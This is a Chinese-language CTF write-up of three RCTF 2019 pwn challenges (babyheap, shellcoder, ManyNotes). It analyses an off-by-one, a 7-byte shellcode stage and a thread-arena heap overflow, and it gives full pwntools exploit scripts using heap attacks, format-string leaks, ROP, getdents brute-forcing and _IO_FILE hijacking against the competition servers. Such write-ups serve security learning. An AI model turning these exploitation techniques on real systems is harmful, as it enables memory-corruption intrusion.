RCTF 2019 PWN

大概是老了,PWN不动了,打了一天时间,一共看了三道题,第二天学校有活动,晚上抽时间写好了ManyNotes的EXP,不过远程打不下,并不是像前两题因为系统调用crash,而是中间我爆破了1字节地址,本地ubuntu 18.04(libc-2.27)可以利用成功,但是远程无法爆破出,利用思路上自认没有问题,猜测应该是新线程堆地址偏移在libc-2.26和libc-2.27环境下低字节有区别或者像babyheap因为中间远程传输过长数据会出玄学,可惜没时间重新调了,姑且算是搞定了

0x01 babyheap

Analyze

首先在init中可以看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
fd = open("/dev/urandom", 0);
if ( fd < 0 )
{
puts("open failed!");
exit(-1);
}
read(fd, &ptrs, 8uLL);
close(fd);
ptrs = (void *)((unsigned int)ptrs & 0xFFFF0000);
mallopt(1, 0);
if ( mmap(ptrs, 0x1000uLL, 3, 34, -1, 0LL) != ptrs )
{
puts("mmap error!");
exit(-1);
}

程序会随机map一段地址用于后期存放note结构体:

1
2
note_addr
note_len

而后使用mallopt关闭了fastbin的分配
可以看到漏洞在:

1
2
3
printf("Content: ", v3);
v1 = read_n(*((void **)ptrs + 2 * v0), *((_DWORD *)ptrs + 4 * v0 + 2));
*(_BYTE *)(*((_QWORD *)ptrs + 2 * v0) + v1) = 0;

存在off by one,当v1恰好读到边界时,会溢出一字节”\x00”
首先利用”\x00”溢出来修改pre in use位来使伪造好的chunk因为unsorted bin的unlink合并,进而构造堆重叠
而后即可free掉重叠堆块进入unsorted bin来leak libc
下面我选择直接unsorted bin attack,将chunk地址写入global_max_fast,因为地址非负,重新开启fastbin的分配,此时重叠堆再次释放即可进入fastbin,进而fd因为重叠可控,修改malloc_hook为one_target后发现crash
想起init中的:

1
2
3
4
5
6
7
8
9
10
if ( prctl(38, 1LL, 0LL, 0LL, 0LL) )
{
puts("Could not start seccomp:");
exit(-1);
}
if ( prctl(22, 2LL, &filterprog) == -1 )
{
puts("Could not start seccomp:");
exit(-1);
}

开启了seccomp
使用seccomp-tools查看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
~/rctf$ seccomp-tools  dump ./babyheap 
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x00000029 if (A != socket) goto 0006
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
0008: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0010
0009: 0x06 0x00 0x00 0x00000000 return KILL
0010: 0x15 0x00 0x01 0x0000009d if (A != prctl) goto 0012
0011: 0x06 0x00 0x00 0x00000000 return KILL
0012: 0x15 0x00 0x01 0x0000003a if (A != vfork) goto 0014
0013: 0x06 0x00 0x00 0x00000000 return KILL
0014: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0016
0015: 0x06 0x00 0x00 0x00000000 return KILL
0016: 0x15 0x00 0x01 0x0000003e if (A != kill) goto 0018
0017: 0x06 0x00 0x00 0x00000000 return KILL
0018: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0020
0019: 0x06 0x00 0x00 0x00000000 return KILL
0020: 0x06 0x00 0x00 0x7fff0000 return ALLOW

关闭了execv,只能想办法open,read,write
这里我选择修改free_hook为printf来人为构造格式化字符串漏洞
这里有个小问题,本题环境下free_hook周围没有0x7F这种合法size
因此选择从最近的存在合法size位置不断fastbin attack并写入合法地址,直到分配进free_hook
而后利用格式化字符串漏洞leak stack&&程序加载地址
接着利用格式化在栈中写入一个合法size(因为栈中有bp指针,可以直接用%n写入高地址)
将一个chunk分配进栈,而后写入ptrs地址
这样就可以再次利用格式化字符串泄露最初mmap的地址
而后再次利用fastbin attack将堆分配进mmap处即可控制整个结构实现任意地址读写
直接选择在edit时改写返回地址为rop链
调用open(“./flag”,“r”)->read(fd,note_addr,len)->show(note)即可最终获得flag

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
from pwn import *

#context.log_level="debug"
def add(size):
p.sendlineafter("Choice: \n","1")
p.sendlineafter("Size: ",str(size))
def edit(index,note):
p.sendlineafter("Choice: \n","2")
p.sendlineafter("Index: ",str(index))
p.sendafter("Content: ",note)
def delete(index):
p.sendlineafter("Choice: \n","3")
p.sendlineafter("Index: ",str(index))
def show(index):
p.sendlineafter("Choice: \n","4")
p.sendlineafter("Index: ",str(index))
return p.recvuntil("\n").strip()
#p=process("./babyheap")
p=remote("123.206.174.203",20001)
add(0x18)
add(0x508)
add(0x18)
edit(1,'b'*0x4f0 + p64(0x500))
add(0x18)
add(0x508)
add(0x18)
edit(4,'b'*0x4f0 + p64(0x500))
add(0x18)
delete(1)
edit(0,'b'*0x18)
add(0x18)
add(0x4d8)
delete(1)
delete(2)
add(0x18)
libc_addr=u64(show(7).ljust(8,"\x00"))+0x7f0e884c5000-0x7f0e88889b78
max_fast=libc_addr+0x7f0e8888b7f8-0x7f0e884c5000
print hex(libc_addr)
print hex(max_fast)
delete(1)
add(0x38)
edit(7,p64(0)*3+p64(0x4f1)+"aaaaaaaa"+p64(max_fast-16))
add(0x4e8)
delete(0)
edit(1,p64(0)*3+p64(0x71))
edit(2,p64(0)*9+p64(0x21)+p64(0)*3+p64(0x21))
delete(7)
edit(1,p64(0)*3+p64(0x71)+p64(libc_addr+0x7f15218e7715-0x7f1521522000))
add(0x68)
add(0x68)
edit(7,"\x00"*3+p64(0)*8+p64(0x551))
edit(1,p64(0)*3+p64(0x551))
edit(4,p64(0)*3+p64(0x30))
delete(0)
edit(1,p64(0)*3+p64(0x551)+p64(libc_addr+0x7f592d7ab760-0x7f592d3e6000))
add(0x548)
add(0x548)
edit(8,p64(0)*(0x53*2)+p64(0)+p64(0x551))
edit(1,p64(0)*3+p64(0x551))
edit(4,p64(0)*3+p64(0x20))
delete(0)
edit(1,p64(0)*3+p64(0x551)+p64(libc_addr-0x7fd6e0f9b000+0x7fd6e1360ca0))
add(0x548)
add(0x548)
edit(9,p64(0)*(0x53*2)+p64(0)+p64(0x551))
edit(1,p64(0)*3+p64(0x551))
edit(4,p64(0)*3+p64(0x20))
delete(0)
edit(1,p64(0)*3+p64(0x551)+p64(libc_addr- 0x7f80b6025000+0x7f80b63eb1e0))
add(0x548)
add(0x548)
edit(10,p64(0)*(0x53*2)+p64(0)+p64(0x601))
edit(1,p64(0)*3+p64(0x601))
edit(4,p64(0)*25+p64(0x20))
delete(0)
edit(1,p64(0)*3+p64(0x601)+p64(libc_addr+0x7fd775994720-0x7fd7755ce000))
add(0x5f8)
add(0x5f8)
#gdb.attach(p)
edit(11,"\x00"*0x78+p64(libc_addr+0x55800)+"\x00"*72+p64(0x1000))
#gdb.attach(p)
edit(8,"%7$llx %8$llx %9$llx %15$llx")
delete(8)
s=p.recvuntil("D")[:-1]
addrs=s.split(" ")
exec_addr=int(addrs[3],16)-0x55b2ee49e2c2+0x55b2ee49d000
stack_addr=int(addrs[1],16)
print hex(exec_addr)
print hex(stack_addr)
edit(6,"%65c%48$n%48$llx")
delete(6)
edit(11,"\x00"*0x78+p64(0))
edit(1,p64(0)*3+p64(0x41))
edit(2,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21))
#gdb.attach(p)
delete(0)
edit(1,p64(0)*3+p64(0x41)+p64(stack_addr+0x7ffd8412fc00-0x7ffd8412faf0))
add(0x31)
add(0x31)
edit(6,p64(exec_addr+0x202112))
edit(11,"\x00"*0x78+p64(libc_addr+0x55800))
edit(3,"%50$s")
delete(3)
k=p.recvuntil("D")[:-1]
map_addr=u16(k)*0x10000
print hex(map_addr)
edit(11,"\x00"*0x78+p64(0))
edit(1,p64(0)*3+p64(0x31))
edit(2,p64(0)+p64(0x21)+p64(0)*3+p64(0x21))
delete(0)
edit(1,p64(0)*3+p64(0x31)+p64(map_addr+0x60))
add(0x28)
add(0x28)
#gdb.attach(p)
open_addr=libc_addr+0xf7030
read_addr=libc_addr+0xf7250
write_addr=libc_addr+0xf72b0
edit(3,p64(stack_addr-0x7ffdcce76b80+0x7ffdcce76ba8)+p64(0x100)+"./flag\x00")
#gdb.attach(p)
magic_code=p64(exec_addr+0x1433)+p64(map_addr+0x80)+p64(exec_addr+0x1431)+p64(0)+p64(0)+p64(open_addr)
magic_code+=p64(exec_addr+0x1433)+p64(3)+p64(exec_addr+0x1431)+p64(map_addr+0x70)+p64(0)+p64(libc_addr+0x101ffc)+p64(40)+p64(0)+p64(read_addr)
magic_code+=p64(exec_addr+0x1329)#p64(exec_addr+0x1433)+p64(0)+p64(exec_addr+0x1431)+p64(map_addr)+p64(0)+p64(libc_addr+0x101ffc)+p64(20)+p64(0)+p64(write_addr)
edit(7,magic_code)
p.sendlineafter("Index: ","3")
#gdb.attach(p)
p.interactive()

0x02 shellcoder

Analyze

打开程序即可看到,其是使用syscall完成几个基本操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __cdecl main(int argc, const char **argv, const char **envp)
{
_QWORD *v3; // rax
__int64 v4; // rbx

alarm();
write();
v3 = (_QWORD *)mmap();
v4 = (__int64)v3;
*v3 = 0xF4F4F4F4F4F4F4F4LL;
v3[1] = 0xF4F4F4F4F4F4F4F4LL;
v3[2] = 0xF4F4F4F4F4F4F4F4LL;
v3[3] = 0xF4F4F4F4F4F4F4F4LL;
read(); // 读取7位
jmp_rdi(v4);
return 0;
}

可以看到程序即:
mmap一个地址,而后读入7字节shellcode,最后转去shellcode执行
看到shellcode前jmp时候寄存器状态:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
RAX  0x0
RBX 0x0
RCX 0x0
RDX 0x0
RDI 0x7ffff7ff3000
RSI 0x0
R8 0x0
R9 0x0
R10 0x0
R11 0x0
R12 0x0
R13 0x0
R14 0x0
R15 0x0
RBP 0x0
RSP 0x7fffffffdb48 ◂— 0xabadc0defee1dead
RIP 0x5555555544c7 ◂— jmp rdi

rdi为mmap地址
所以可以直接利用现有状态完成read(0,mmap_addr,size)操作,考虑到7字节限制,最后选择:

1
2
3
xchg rdi,rsi
mov dl,0xff
syscall

这样即可继续写入shellcode,不过发现execv失败,猜测远程服务器限制了shell,不然题目也不会故意给出文件目录结构:

1
2
3
4
5
6
7
...
├── flag
│ ├── unknown
│ │ └── ...
│ │ └── flag
│ └── unknown
└── shellcoder

可以发现open read write还在,所以重点是找到flag位置
重新看了64位下的系统调用表,发现了比较好的函数:

1
2
3
4
cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h
......
#define __NR_getdents 78
#define __NR_getdents64 217

直接利用getdents来读取目录结构即可,最后爆破发现每层4个,一共6层文件夹:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
shellcode:
fd=open(dir,"O_RDONLY|O_DIRECTORY")
getdents64(fd,rsp,2048) //将目录结构读入到栈
write(1,rsp,0x200) //将栈上目录结构输出
脚本:
from pwn import *

context.arch="amd64"
context.log_level="debug"
key="1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM"
#p=process("./shellcoder")
def get_ans(f,s,ans):
if s[0]=="\x03":
for i in range(0x140):
if s[i] in key and s[i+1] in key and s[i+2] in key and s[i+3] in key:
ans.append(f+"/"+s[i:i+4])
i+=4
return ans
return False
#gdb.attach(p)
k1=[]#记录已获得文件夹
ans=[]
for i in range(1):
try:
p=remote("139.180.215.222",20002)
s="xchg rdi,rsi\n\
mov dl,0xff\n\
syscall"
p.recvuntil("hello shellcoder:")
p.send(asm(s))
m="/flag/%s" %k1[i]
s2=shellcraft.pushstr(m)+"\nmov rsi,0x10000\n\
mov rdi,rsp\n\
mov rax,2\n\
syscall\n\
mov rbx,rax\n\
mov rdi,rax\n\
mov rsi,rsp\n\
mov rdx,2048\n\
mov rax,0xd9\n\
syscall\n\
mov rdi,1\n\
mov rsi,rsp\n\
mov rdx,0x200\n\
mov [rsp+8],rax\n\
mov rax,1\n\
mov [rsp],rbx\n\
syscall"
p.send(asm(s)+asm(s2))
try:
get_ans(k1[i],p.recv(0x200),ans)
print i
p.close()
except:
i-=1
except:
i-=1
print ans,len(ans)

最后找到flag在”./flag/rrfh/lmc5/nswv/1rdr/zkz1/pim9/flag”

EXP

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context.arch="amd64"
#context.log_level="debug"
p=remote("139.180.215.222",20002)
s="xchg rdi,rsi\n\
mov dl,0xff\n\
syscall"
p.recvuntil("hello shellcoder:")
p.send(asm(s))
p.send(asm(s)+asm(shellcraft.cat("./flag/rrfh/lmc5/nswv/1rdr/zkz1/pim9/flag")))
p.interactive()

0x03 ManyNotes

Analyze

首先程序会读入一个name并输出,不过读入过程中没有”\x00”截断,所以存在leak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
pthread_t newthread; // [rsp+0h] [rbp-10h]
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
alarm(0x258u);
puts("Please input your name: ");
out_name();
if ( pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL) < 0 )
exit(1);
pthread_join(newthread, 0LL);
return __readfsqword(0x28u) ^ v5;
}

接着程序利用pthread_create新启动一个进程来进入主要部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
void __fastcall __noreturn start_routine(void *a1)
{
signed int v1; // [rsp+18h] [rbp-28h]
int i; // [rsp+1Ch] [rbp-24h]
int v3; // [rsp+20h] [rbp-20h]
int v4; // [rsp+24h] [rbp-1Ch]
int v5; // [rsp+28h] [rbp-18h]
const void *buf; // [rsp+30h] [rbp-10h]

v1 = 0;
while ( 1 )
{
while ( 1 )
{
menu();
v3 = get_num();
if ( v3 )
break;
printf("Size: ");
v4 = get_num();
if ( v4 >= 0 && v4 <= 0x2000 )
{
buf = malloc(v4);
if ( ++v1 > 0x10000 )
exit(2);
printf("Padding: ");
v5 = get_num();
if ( v5 >= 0 && v5 <= 0x400 )
{
v1 += v5;
if ( v1 > 0x10000 )
exit(2);
for ( i = 0; i < v5; ++i )
malloc(v4);
printf("Input? (0/1): ");
if ( get_num() )
{
printf("Content: ");
fake_read((__int64)buf, v4);
write(1, buf, v4);
}
}
else
{
puts("Invalid Padding!");
}
}
else
{
puts("Invalid Size!");
}
}
if ( v3 == 1 )
{
puts("Bye!");
exit(2);
}
puts("Invalid Command!");
}
}

可以看到只能申请堆,无法释放,并且可以利用padding申请很多堆
而且在read过程中可以看到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 __fastcall fake_read(__int64 a1, size_t a2)
{
int v3; // [rsp+1Ch] [rbp-14h]
size_t i; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
for ( i = 0LL; i < a2; i += v3 )
{
v3 = read(0, (void *)(a1 + i), a2);
if ( v3 <= 0 )
exit(2);
}
return __readfsqword(0x28u) ^ v5;
}

明显的逻辑漏洞,存在溢出
立即想到house of orange,不过直接改top size并申请较大堆块发现并没有释放进unsorted bin,而是直接扩充了top chunk并分割出来,追踪sysmalloc的程序流发现了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
if (av != &main_arena)
{
heap_info *old_heap, *heap;
size_t old_heap_size;

/* First try to extend the current heap. */
old_heap = heap_for_ptr (old_top);
old_heap_size = old_heap->size;
if ((long) (MINSIZE + nb - old_size) > 0
&& grow_heap (old_heap, MINSIZE + nb - old_size) == 0)
{
av->system_mem += old_heap->size - old_heap_size;
arena_mem += old_heap->size - old_heap_size;
set_head (old_top, (((char *) old_heap + old_heap->size) - (char *) old_top)
| PREV_INUSE);
}
else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad)))
{
/* Use a newly allocated heap. */
heap->ar_ptr = av;
heap->prev = old_heap;
av->system_mem += heap->size;
arena_mem += heap->size;
/* Set up the new top. */
top (av) = chunk_at_offset (heap, sizeof (*heap));
set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);

/* Setup fencepost and free the old top chunk with a multiple of
MALLOC_ALIGNMENT in size. */
/* The fencepost takes at least MINSIZE bytes, because it might
become the top chunk again later. Note that a footer is set
up, too, although the chunk is marked in use. */
old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;
set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);
if (old_size >= MINSIZE)
{
set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
_int_free (av, old_top, 1);
}
else
{
set_head (old_top, (old_size + 2 * SIZE_SZ) | PREV_INUSE);
set_foot (old_top, (old_size + 2 * SIZE_SZ));
}
}
else if (!tried_mmap)
/* We can at least try to use to mmap memory. */
goto try_mmap;
}

新的进程里av并不是main arena,其会有一个新的mmap的地方存放堆信息
所以机制与正常情况下不一样,我们需要break这个条件:

1
2
if ((long) (MINSIZE + nb - old_size) > 0
&& grow_heap (old_heap, MINSIZE + nb - old_size) == 0)

使得最后_int_free (av, old_top, 1)
很明显MINSIZE + nb - old_size<0不能构造,不然会直接从top chunk分割出去一块chunk
只能想办法grow_heap失败,很明显,直接分配很多堆,耗尽第一次mmap的空间,让高地址无法直接扩充分割即可
由此获得了free的机会
下面我选择构造两次这样的机会,一次free进unsorted bin,一次进入tcache bin,unsortbin下即可利用unsorted bin分割的特点,利用read时的溢出改写剩下的unsorted chunk来进行unsorted bin attack,将地址写到tcache的fd位置(只改unsorted chunk的bk低位即可),奇怪的是此时会写入&av->top chunk,不过av->top chunk位置依然可控,我们在开始的name处leak libc,将fd再次指向一个位置,即可任意地址写,这时候改写IO_FILE或者malloc_hook都可以完成利用,这里主要是unsorted bin attack时改写unsorted chunk的bk低位地址时,有一位其实不可控,所以要爆破1 byte,本地ubuntu 18.04(libc-2.27)很快即可get shell,不过远程过程中这一步始终无法爆出,猜测应该是新线程堆地址偏移在libc-2.26和libc-2.27环境下低字节有区别或者像babyheap因为中间远程传输过长数据会出玄学等原因,理论上libc-2.26和libc-2.27分配机制相同,直接改libc偏移即可,这里不清楚具体原因,EXP是我在libc-2.27下成功本地利用的脚本

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
from pwn import *

context.log_level="debug"
_IO_USE_OLD_IO_FILE = False
_BITS = 64

def _u64(data):
return struct.unpack("<Q",data)[0]

def _u32(data):
return struct.unpack("<I",data)[0]

def _u16(data):
return struct.unpack("<H",data)[0]

def _u8(data):
return ord(data)

def _usz(data):
if _BITS == 32:
return _u32(data)
elif _BITS == 64:
return _u64(data)
else:
print("[-] Invalid _BITS")
exit()

def _ua(data):
if _BITS == 32:
return _u32(data)
elif _BITS == 64:
return _u64(data)
else:
print("[-] Invalid _BITS")
exit()

def _p64(data):
return struct.pack("<Q",data)

def _p32(data):
return struct.pack("<I",data)

def _p16(data):
return struct.pack("<H",data)

def _p8(data):
return chr(data)

def _psz(data):
if _BITS == 32:
return _p32(data)
elif _BITS == 64:
return _p64(data)
else:
print("[-] Invalid _BITS")
exit()

def _pa(data):
if _BITS == 32:
return struct.pack("<I", data)
elif _BITS == 64:
return struct.pack("<Q", data)
else:
print("[-] Invalid _BITS")
exit()

class _IO_FILE_plus:
def __init__(self):
self._flags = 0xfbad2800 # High-order word is _IO_MAGIC; rest is flags.
self._IO_read_ptr = libc_addr-0x7ffff6e03000+0x7ffff71ef7e3 # Current read pointer
self._IO_read_end = libc_addr-0x7ffff6e03000+0x7ffff71ef7e3# End of get area
self._IO_read_base = libc_addr-0x7ffff6e03000+0x7ffff71ef7e3 # Start of putback+get area
self._IO_write_base =libc_addr-0x7ffff6e03000+0x7ffff71ef7e3 # Start of put area
self._IO_write_ptr = libc_addr-0x7ffff6e03000+0x7ffff71ef7e3 # Current put pointer
self._IO_write_end = libc_addr-0x7ffff6e03000+0x7ffff71ef7e3 # End of put area
self._IO_buf_base = bin_sh_addr # Start of reserve area
self._IO_buf_end = libc_addr-0x7ffff6e03000+0x7ffff71ef7e3+1 # End of reserve area

# The following fields are used to support backing up and undo.
self._IO_save_base = 0 # Pointer to start of non-current get area
self._IO_backup_base = 0 # Pointer to first valid character of backup area
self._IO_save_end = 0 # Pointer to end of non-current get area

self._markers = 0
self._chain = libc_addr-0x7ffff6e03000+0x7ffff71eea00

self._fileno = 1
self._flags2 = 0
self._old_offset = 0xffffffffffffffff # This used to be _offset but it's too small

# 1+column number of pbase(); 0 is unknown
self._cur_column = 0
self._vtable_offset = 0
self._shortbuf = 0

self._lock = libc_addr-0x7ffff6e03000+0x7ffff71f08c0

if not _IO_USE_OLD_IO_FILE:
self._offset = 0xffffffffffffffff
self._codecvt = 0
self._wide_data =libc_addr-0x7ffff6e03000+0x7ffff71ee8c0
self._freeres_list = 0
self._freeres_buf = 0
self.__pad5 = 0
self._mode = 0xffffffff
self._unused2 = [0 for i in range(15 * 4 - 5 * _BITS / 8)]
self.vtable = libc_addr+0x3e7fa0-0x28 #_IO_strn_jumps->_IO_str_finish

def tostr(self):
buf = _p64(self._flags & 0xffffffff) + \
_pa(self._IO_read_ptr) + \
_pa(self._IO_read_end) + \
_pa(self._IO_read_base) + \
_pa(self._IO_write_base) + \
_pa(self._IO_write_ptr) + \
_pa(self._IO_write_end) + \
_pa(self._IO_buf_base) + \
_pa(self._IO_buf_end) + \
_pa(self._IO_save_base) + \
_pa(self._IO_backup_base) + \
_pa(self._IO_save_end) + \
_pa(self._markers) + \
_pa(self._chain) + \
_p32(self._fileno) + \
_p32(self._flags2) + \
_p64(self._old_offset) + \
_p16(self._cur_column) + \
_p8(self._vtable_offset) + \
_p8(self._shortbuf)
if _BITS == 64:
buf += _p32(0)
buf += _pa(self._lock)
if not _IO_USE_OLD_IO_FILE:
buf += \
_p64(self._offset) + \
_pa(self._codecvt) + \
_pa(self._wide_data) + \
_pa(self._freeres_list) + \
_pa(self._freeres_buf) + \
_psz(self.__pad5) + \
_p32(self._mode) + \
''.join(map(lambda x:_p8(x), self._unused2)) +\
_pa(self.vtable)
return buf

def __str__(self):
return self.tostr()
def add(size,pad,io_put=1):
p.sendlineafter("Choice: ","0")
p.sendlineafter("Size: ",str(size))
p.sendlineafter("Padding: ",str(pad))
p.sendlineafter("Input? (0/1): ",str(io_put))
if io_put==1:
p.recvuntil("Content: ")
p.send("a"*size)
for z in range(100):
try:
p=process("./many_notes")
#p=remote("127.0.0.1",9999)
#p=remote("123.206.174.203",20003)
#leak libc
p.recvuntil("name: \n")
p.send("aaaaaaaa")
p.recvuntil("a"*8)
libc_addr=u64(p.recv(6).ljust(8,"\x00"))-0x3ec760#-0x3ab720#
print hex(libc_addr)
IO_stdout=libc_addr+0x3ec758#+0x3ebc30#+0x03aac10#
bin_sh_addr=libc_addr+0x1b3e9a
#get fake unsorted
for i in range(7):
add(0x1ff8,0x400,0)
add(0x1ff8,1015,0)
add(0x3b0,0,0)
#gdb.attach(p)
for i in range(7):
add(0x1ff8,0x400,0)
add(0x1ff8,1015,0)
p.sendlineafter("Choice: ","0")
p.sendlineafter("Size: ",str(0x1ff8))
p.sendlineafter("Padding: ",str(0))
p.sendlineafter("Input? (0/1): ",str(1))
p.recvuntil("Content: ")
p.send("a"*0x1ff0+p64(IO_stdout))
#do magic
p.sendlineafter("Choice: ","0")
p.sendlineafter("Size: ",str(0xf8))
p.sendlineafter("Padding: ",str(0))
p.sendlineafter("Input? (0/1): ",str(1))
p.recvuntil("Content: ")
p.sendline("a"*239)
p.send(p64(IO_stdout)+p64(0xec1)+"a"*8+"\xd0\xee\xff\xff")
#gdb.attach(p)
p.sendlineafter("Choice: ","0")
p.sendlineafter("Size: ",str(0xeb8))
p.sendlineafter("Padding: ",str(0))
p.sendlineafter("Input? (0/1): ",str(0))
add(0x108,0,0)
add(0x108,0,0)
add(0x108,0)
p.sendlineafter("Choice: ","0")
p.sendlineafter("Size: ",str(0x108))
p.sendlineafter("Padding: ",str(0))
p.sendlineafter("Input? (0/1): ",str(1))
p.recvuntil("Content: ")
one_target=libc_addr+0x4f2c5#+0x40e86#
payload=_IO_FILE_plus().tostr()+p64(0)+p64(libc_addr+0x4f440)+p64(IO_stdout)
p.send(payload+"\x00"*(0x108-len(payload)))
#gdb.attach(p)
p.interactive()
except:
print str(z)+" failed"